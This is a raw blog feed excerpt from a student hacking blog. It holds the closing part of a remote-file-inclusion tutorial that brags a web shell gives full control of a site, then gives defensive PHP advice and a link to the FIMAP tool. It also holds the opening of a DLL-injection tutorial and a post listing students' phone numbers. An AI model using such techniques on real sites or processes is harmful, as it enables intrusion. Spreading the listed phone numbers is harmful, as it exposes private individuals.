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&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:&quot;Table Normal&quot;;  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:&quot;&quot;;  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:&quot;Times New Roman&quot;;  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;color:black;background:white&quot;&gt;The shell will display information about the remote server and list all the files and directories on it. Now you are inside the website and you can do anything with it.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;color:black;background:white&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;u&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;color:black;background:white&quot;&gt;PROTECTION AGAINST RFI&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;color:black;background:white&quot;&gt;If you still want to use index.php?file=, then use “switch” statement that defines the page before hand. A secure php code would be as below:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt&quot;&gt;&lt;!--?php&lt;br /&gt;$page = $_GET[&#39;page&#39;];&lt;br /&gt;switch($page){&lt;br /&gt;case &quot;page1&quot;:&lt;br /&gt;include(&quot;page1.php&quot;);&lt;br /&gt;break;&lt;/span--&gt;&lt;span style=&quot;font-size:14.0pt&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Verdana; mso-bidi-font-family:Vani&quot;&gt;Or&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;color:black;background:white&quot;&gt;the best way is simply make sure that you are using up-to-date scripts, and make sure your server php.ini file has register_globals and allow_url_fopen disabled.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;I personally don’t prefer any tool for penetration testing, but if you want to use a tool for RFI attack then,A tool called &lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;FIMAP&lt;/b&gt; is used to exploit Remote file inclusion. This is scripted in python language.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;Read more:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;http://code.google.com/p/fimap/&quot;&gt;http://code.google.com/p/fimap/&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;download the tool:&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;http://code.google.com/p/fimap/downloads/list&quot;&gt;http://code.google.com/p/fimap/downloads/list&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;Sources: security papers from: &lt;a href=&quot;http://www.exploit-db.com/&quot;&gt;www.exploit-db.com&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt;              &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Remote_file_inclusion&quot;&gt;http://en.wikipedia.org/wiki/Remote_file_inclusion&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt;                  &lt;/span&gt;&lt;a href=&quot;http://www.corelan.be/&quot;&gt;www.corelan.be&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;image source: &lt;a href=&quot;http://www.hackforums.net/&quot;&gt;www.hackforums.net&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;Well, that’s the end of the tutorial. Hope you have learnt something from this post. Your feedback will be useful for us.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt;   &lt;/span&gt;!!!!ENJOY HACKING!!!&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt;Posted by: DR34MHAXX&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Verdana;mso-bidi-font-family:Vani;color:black;background:white&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/1832514200435249819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/website-hacking-remote-file-inclusion_03.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/1832514200435249819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/1832514200435249819'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/website-hacking-remote-file-inclusion_03.html' title='WEBSITE HACKING: REMOTE FILE INCLUSION'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-7824579879695423126</id><published>2011-10-25T16:08:00.002+05:30</published><updated>2011-10-25T16:19:06.505+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>DOCUMENTS OF THE LAST TWO SEMINARS</title><content type='html'>Download the documents related to last two seminars conducted for first yearites from the downloading link given below:&lt;div&gt;&lt;a href=&quot;http://www.mediafire.com/?75wqap5u7754ajz&quot;&gt;http://www.mediafire.com/?75wqap5u7754ajz&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://www.mediafire.com/?lt4td13r263nj1y&quot;&gt;http://www.mediafire.com/?lt4td13r263nj1y&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Post your queries in our blog or in our facebook page.&lt;/div&gt;&lt;div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;For more queries contact:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;RAGHAV PANDE(8769233563)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;AKASH KUMAR SINGH(9636899541)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;VIVEK PARIKH(9784814888)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-top:5.0pt;margin-right:0in;margin-bottom:5.0pt; margin-left:0in;text-align:justify;line-height:normal;mso-pagination:none; mso-layout-grid-align:none;text-autospace:none&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;&lt;span lang=&quot;EN&quot; style=&quot;font-family: &#39;Times New Roman&#39;; &quot;&gt;Visit our blog for regular updates:&lt;/span&gt;&lt;span lang=&quot;EN&quot; style=&quot;font-family: &#39;Times New Roman&#39;; &quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;a href=&quot;http://teamhackaholic.blogspot.com/&quot;&gt;http://teamhackaholic.blogspot.com/&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;o:p&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;Follow us at:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;Facebook:&lt;/span&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;a href=&quot;https://www.facebook.com/hackaholic.jecrc&quot;&gt;http://facebook.com/hackaholic.jecrc&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify;mso-pagination:none;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span lang=&quot;EN&quot; style=&quot;line-height: 115%; font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;Twitter: &lt;a href=&quot;http://twitter.com/hackaholic.jecrc&quot;&gt;http://twitter.com/hackaholic.jecrc&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;u&gt;&lt;span lang=&quot;EN&quot; style=&quot;font-family:&amp;quot;Times New Roman&amp;quot;;color:#333399;mso-ansi-language: EN&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/7824579879695423126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/documents-of-last-two-seminars.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/7824579879695423126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/7824579879695423126'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/documents-of-last-two-seminars.html' title='DOCUMENTS OF THE LAST TWO SEMINARS'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-4996435609422707155</id><published>2011-10-21T22:49:00.004+05:30</published><updated>2011-10-24T00:30:26.872+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>Dll Injection +1</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Programming never hurts here or there!&lt;br /&gt;
&lt;div&gt;So lets learn a method by which we can execute our own arbitary code into other process&#39;s context.&lt;/div&gt;&lt;div&gt;To understand the concept you have to understand what exactly executable code is.&lt;/div&gt;&lt;div&gt;Under windows there are many extensions which we may have came across but never used.&lt;/div&gt;&lt;div&gt;The code at its most basic level is just a simple BYTE from 0x00 to 0xFF. i.e. 0-255&lt;/div&gt;&lt;div&gt;a simple representation of ExitProcess(0); in C language is actually very different in real machine code which we will be using in this experiment.&lt;/div&gt;&lt;div&gt;in C &lt;/div&gt;&lt;div&gt;#include&lt;windows.h&gt;&lt;/windows.h&gt;&lt;/div&gt;&lt;div&gt;int main()&lt;/div&gt;&lt;div&gt;{ExitProcess(0);}&lt;/div&gt;&lt;div&gt;in machine lingua&lt;/div&gt;&lt;div&gt;xor eax,eax&lt;/div&gt;&lt;div&gt;push eax&lt;/div&gt;&lt;div&gt;mov eax,[ExitProcess]&lt;/div&gt;&lt;div&gt;call eax&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
